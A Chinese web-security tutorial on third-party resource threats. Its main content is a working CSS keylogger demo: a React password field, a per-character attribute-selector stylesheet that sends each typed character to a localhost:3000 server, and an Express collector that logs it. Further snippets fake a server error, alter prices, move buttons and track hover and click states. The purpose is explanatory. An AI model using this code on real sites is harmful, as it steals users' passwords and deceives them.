目录
2.1.3 javascript —— 本地 Node.js 服务器脚本
1. 第三方资源有哪些威胁?
1.1 Image
<img src="https://img.com/test.png" />
引用第三方图片资源,可能会出现两个问题:
- 图片资源失效 —— 无法预览图片
- 图片资源被替换 —— 被替换成其他图片
图片资源只会影响图片展示效果,无法影响其他功能
1.2 JavaScript
<script src="http://javascript.com/script.js"></script>
引用第三方脚本资源,可能会出现许多问题:
- 读取、篡改浏览器 storage(这种内容被修改的话,即使删除脚本,也不能恢复原效果)
- 监视用户行为
- 使用浏览器算力进行挖矿
- ...
JavaScript 对整个网页生效,只有完全信任某个网站,才能允许它加载脚本资源
1.3 Css
<link href="http://css.com/style.css" />
引用第三方样式库,可能会出现许多问题:
- 根据页面输入内容,发起请求,捕获输入值(Css 键盘记录器)
- 增加、删除、修改页面内容(样式注入覆盖调整)
- 监视交互行为,完成客户画像(也是利用了 css 发送请求)
Css 同样对整个网页生效,浏览器可以禁用 JavaScript 脚本,却不能禁用 css
2. Css 威胁用户安全的几种方式
2.1 Css 键盘记录器
使用封装好的 css 库,同样有隐患,比如 React 项目中的 Css 键盘记录器 —— 它能够记录用户在网页中的输入
react 中的 input,如果是 password 类型,则 value 会随着用户的输入,被写到 html 里
2.1.1 html —— react 模板
引入 css 样式 —— 这里定义了密码表
引入 React CDN 库
将一个 input 挂载到 app 上
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>React - Css 键盘记录器</title>
<link rel="stylesheet" href="./index.css" />
</head>
<body>
<div id="app"></div>
<script src="https://cdn.bootcdn.net/ajax/libs/react/16.13.1/umd/react.production.min.js"></script>
<script src="https://cdn.bootcdn.net/ajax/libs/react-dom/16.13.1/umd/react-dom.production.min.js"></script>
<script src="https://cdn.bootcdn.net/ajax/libs/babel-standalone/7.0.0-beta.3/babel.min.js"></script>
<script type="text/babel">
const InputDomRef = React.createElement(() => {
const { useState } = window.React;
// 设置 input 默认 value 值
const [state, setState] = useState({ val: "" });
// 监听 input 的 value 值改变
const setInput = (e) => {
setState({
val: e.target.value,
});
};
return (
<input type="password" onChange={setInput} value={state.val}></input>
);
});
// 在 DOM 元素上挂载 input
ReactDOM.render(InputDomRef, document.getElementById("app"));
</script>
</body>
</html>
2.1.2 css —— 密码表
为每个 ASCII 码字符,发送自定义请求
如果密码输入框,输入了以 ! 结尾的字符,就会发送请求 http://localhost:3000/%21
input[type="password"][value$=" "] {
background-image: url("http://localhost:3000/+");
}
input[type="password"][value$="!"] {
background-image: url("http://localhost:3000/%21");
}
input[type="password"][value$='"'] {
background-image: url("http://localhost:3000/%22");
}
input[type="password"][value$="#"] {
background-image: url("http://localhost:3000/%23");
}
input[type="password"][value$="$"] {
background-image: url("http://localhost:3000/%24");
}
input[type="password"][value$="%"] {
background-image: url("http://localhost:3000/%25");
}
input[type="password"][value$="&"] {
background-image: url("http://localhost:3000/%26");
}
input[type="password"][value$="'"] {
background-image: url("http://localhost:3000/%27");
}
input[type="password"][value$="("] {
background-image: url("http://localhost:3000/%28");
}
input[type="password"][value$=")"] {
background-image: url("http://localhost:3000/%29");
}
input[type="password"][value$="*"] {
background-image: url("http://localhost:3000/%2A");
}
input[type="password"][value$="+"] {
background-image: url("http://localhost:3000/%2B");
}
input[type="password"][value$=","] {
background-image: url("http://localhost:3000/%2C");
}
input[type="password"][value$="-"] {
background-image: url("http://localhost:3000/-");
}
input[type="password"][value$="."] {
background-image: url("http://localhost:3000/.");
}
input[type="password"][value$="/"] {
background-image: url("http://localhost:3000/%2F");
}
input[type="password"][value$="0"] {
background-image: url("http://localhost:3000/0");
}
input[type="password"][value$="1"] {
background-image: url("http://localhost:3000/1");
}
input[type="password"][value$="2"] {
background-image: url("http://localhost:3000/2");
}
input[type="password"][value$="3"] {
background-image: url("http://localhost:3000/3");
}
input[type="password"][value$="4"] {
background-image: url("http://localhost:3000/4");
}
input[type="password"][value$="5"] {
background-image: url("http://localhost:3000/5");
}
input[type="password"][value$="6"] {
background-image: url("http://localhost:3000/6");
}
input[type="password"][value$="7"] {
background-image: url("http://localhost:3000/7");
}
input[type="password"][value$="8"] {
background-image: url("http://localhost:3000/8");
}
input[type="password"][value$="9"] {
background-image: url("http://localhost:3000/9");
}
input[type="password"][value$=":"] {
background-image: url("http://localhost:3000/%3A");
}
input[type="password"][value$=";"] {
background-image: url("http://localhost:3000/%3B");
}
input[type="password"][value$="<"] {
background-image: url("http://localhost:3000/%3C");
}
input[type="password"][value$="="] {
background-image: url("http://localhost:3000/%3D");
}
input[type="password"][value$=">"] {
background-image: url("http://localhost:3000/%3E");
}
input[type="password"][value$="?"] {
background-image: url("http://localhost:3000/%3F");
}
input[type="password"][value$="@"] {
background-image: url("http://localhost:3000/%40");
}
input[type="password"][value$="A"] {
background-image: url("http://localhost:3000/A");
}
input[type="password"][value$="B"] {
background-image: url("http://localhost:3000/B");
}
input[type="password"][value$="C"] {
background-image: url("http://localhost:3000/C");
}
input[type="password"][value$="D"] {
background-image: url("http://localhost:3000/D");
}
input[type="password"][value$="E"] {
background-image: url("http://localhost:3000/E");
}
input[type="password"][value$="F"] {
background-image: url("http://localhost:3000/F");
}
input[type="password"][value$="G"] {
background-image: url("http://localhost:3000/G");
}
input[type="password"][value$="H"] {
background-image: url("http://localhost:3000/H");
}
input[type="password"][value$="I"] {
background-image: url("http://localhost:3000/I");
}
input[type="password"][value$="J"] {
background-image: url("http://localhost:3000/J");
}
input[type="password"][value$="K"] {
background-image: url("http://localhost:3000/K");
}
input[type="password"][value$="L"] {
background-image: url("http://localhost:3000/L");
}
input[type="password"][value$="M"] {
background-image: url("http://localhost:3000/M");
}
input[type="password"][value$="N"] {
background-image: url("http://localhost:3000/N");
}
input[type="password"][value$="O"] {
background-image: url("http://localhost:3000/O");
}
input[type="password"][value$="P"] {
background-image: url("http://localhost:3000/P");
}
input[type="password"][value$="Q"] {
background-image: url("http://localhost:3000/Q");
}
input[type="password"][value$="R"] {
background-image: url("http://localhost:3000/R");
}
input[type="password"][value$="S"] {
background-image: url("http://localhost:3000/S");
}
input[type="password"][value$="T"] {
background-image: url("http://localhost:3000/T");
}
input[type="password"][value$="U"] {
background-image: url("http://localhost:3000/U");
}
input[type="password"][value$="V"] {
background-image: url("http://localhost:3000/V");
}
input[type="password"][value$="W"] {
background-image: url("http://localhost:3000/W");
}
input[type="password"][value$="X"] {
background-image: url("http://localhost:3000/X");
}
input[type="password"][value$="Y"] {
background-image: url("http://localhost:3000/Y");
}
input[type="password"][value$="Z"] {
background-image: url("http://localhost:3000/Z");
}
input[type="password"][value$="["] {
background-image: url("http://localhost:3000/%5B");
}
input[type="password"][value$="\\"] {
background-image: url("http://localhost:3000/%5C");
}
input[type="password"][value$="]"] {
background-image: url("http://localhost:3000/%5D");
}
input[type="password"][value$="^"] {
background-image: url("http://localhost:3000/%5E");
}
input[type="password"][value$="_"] {
background-image: url("http://localhost:3000/_");
}
input[type="password"][value$="`"] {
background-image: url("http://localhost:3000/%60");
}
input[type="password"][value$="a"] {
background-image: url("http://localhost:3000/a");
}
input[type="password"][value$="b"] {
background-image: url("http://localhost:3000/b");
}
input[type="password"][value$="c"] {
background-image: url("http://localhost:3000/c");
}
input[type="password"][value$="d"] {
background-image: url("http://localhost:3000/d");
}
input[type="password"][value$="e"] {
background-image: url("http://localhost:3000/e");
}
input[type="password"][value$="f"] {
background-image: url("http://localhost:3000/f");
}
input[type="password"][value$="g"] {
background-image: url("http://localhost:3000/g");
}
input[type="password"][value$="h"] {
background-image: url("http://localhost:3000/h");
}
input[type="password"][value$="i"] {
background-image: url("http://localhost:3000/i");
}
input[type="password"][value$="j"] {
background-image: url("http://localhost:3000/j");
}
input[type="password"][value$="k"] {
background-image: url("http://localhost:3000/k");
}
input[type="password"][value$="l"] {
background-image: url("http://localhost:3000/l");
}
input[type="password"][value$="m"] {
background-image: url("http://localhost:3000/m");
}
input[type="password"][value$="n"] {
background-image: url("http://localhost:3000/n");
}
input[type="password"][value$="o"] {
background-image: url("http://localhost:3000/o");
}
input[type="password"][value$="p"] {
background-image: url("http://localhost:3000/p");
}
input[type="password"][value$="q"] {
background-image: url("http://localhost:3000/q");
}
input[type="password"][value$="r"] {
background-image: url("http://localhost:3000/r");
}
input[type="password"][value$="s"] {
background-image: url("http://localhost:3000/s");
}
input[type="password"][value$="t"] {
background-image: url("http://localhost:3000/t");
}
input[type="password"][value$="u"] {
background-image: url("http://localhost:3000/u");
}
input[type="password"][value$="v"] {
background-image: url("http://localhost:3000/v");
}
input[type="password"][value$="w"] {
background-image: url("http://localhost:3000/w");
}
input[type="password"][value$="x"] {
background-image: url("http://localhost:3000/x");
}
input[type="password"][value$="y"] {
background-image: url("http://localhost:3000/y");
}
input[type="password"][value$="z"] {
background-image: url("http://localhost:3000/z");
}
input[type="password"][value$="{"] {
background-image: url("http://localhost:3000/%7B");
}
input[type="password"][value$="|"] {
background-image: url("http://localhost:3000/%7C");
}
input[type="password"][value$="\\}"] {
background-image: url("http://localhost:3000/%7D");
}
input[type="password"][value$="~"] {
background-image: url("http://localhost:3000/~");
}
input[type="password"][value$=""] {
background-image: url("http://localhost:3000/%7F");
}
2.1.3 javascript —— 本地 Node.js 服务器脚本
新建 package.json
npm init -y
安装 express
yarn add express
生成的 package.json
{
"name": "react-test",
"version": "1.0.0",
"description": "",
"main": "main.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"author": "",
"license": "ISC",
"dependencies": {
"express": "^4.18.2"
}
}
编写 main.js
const express = require("express");
const app = express();
app.get("/:key", (req, res) => {
// 打印键值
process.stdout.write(req.params.key);
return res.sendStatus(400);
});
app.listen(3000, () => console.log("服务器启动成功"));
启动 main.js(在项目根目录下)
node main.js
2.1.4 最终效果
在浏览器中打开 html 页面,用户输入后,value 值被直接写入了 html
在终端中查看控制台输出,服务器接收到了用户输入的值
2.2 控制页面元素的增删改
2.2.1 控制页面隐藏并报错
body {
display: none;
}
html::after {
content: 'HTTP 500 Server Error';
}
2.2.2 使用伪元素篡改内容
.price-value::after {
content: '8';
}
2.2.3 修改元素位置
.move-purchase-button {
opacity: 0;
position: absolute;
top: 100px;
left: 100px;
}
2.3 监视用户交互行为
用户不同的交互状态,会发送不同的 http 请求
.login-button:hover {
background: url('//example.com/login-button-hover');
}
.login-button:active {
background: url('//example.com/login-button-active');
}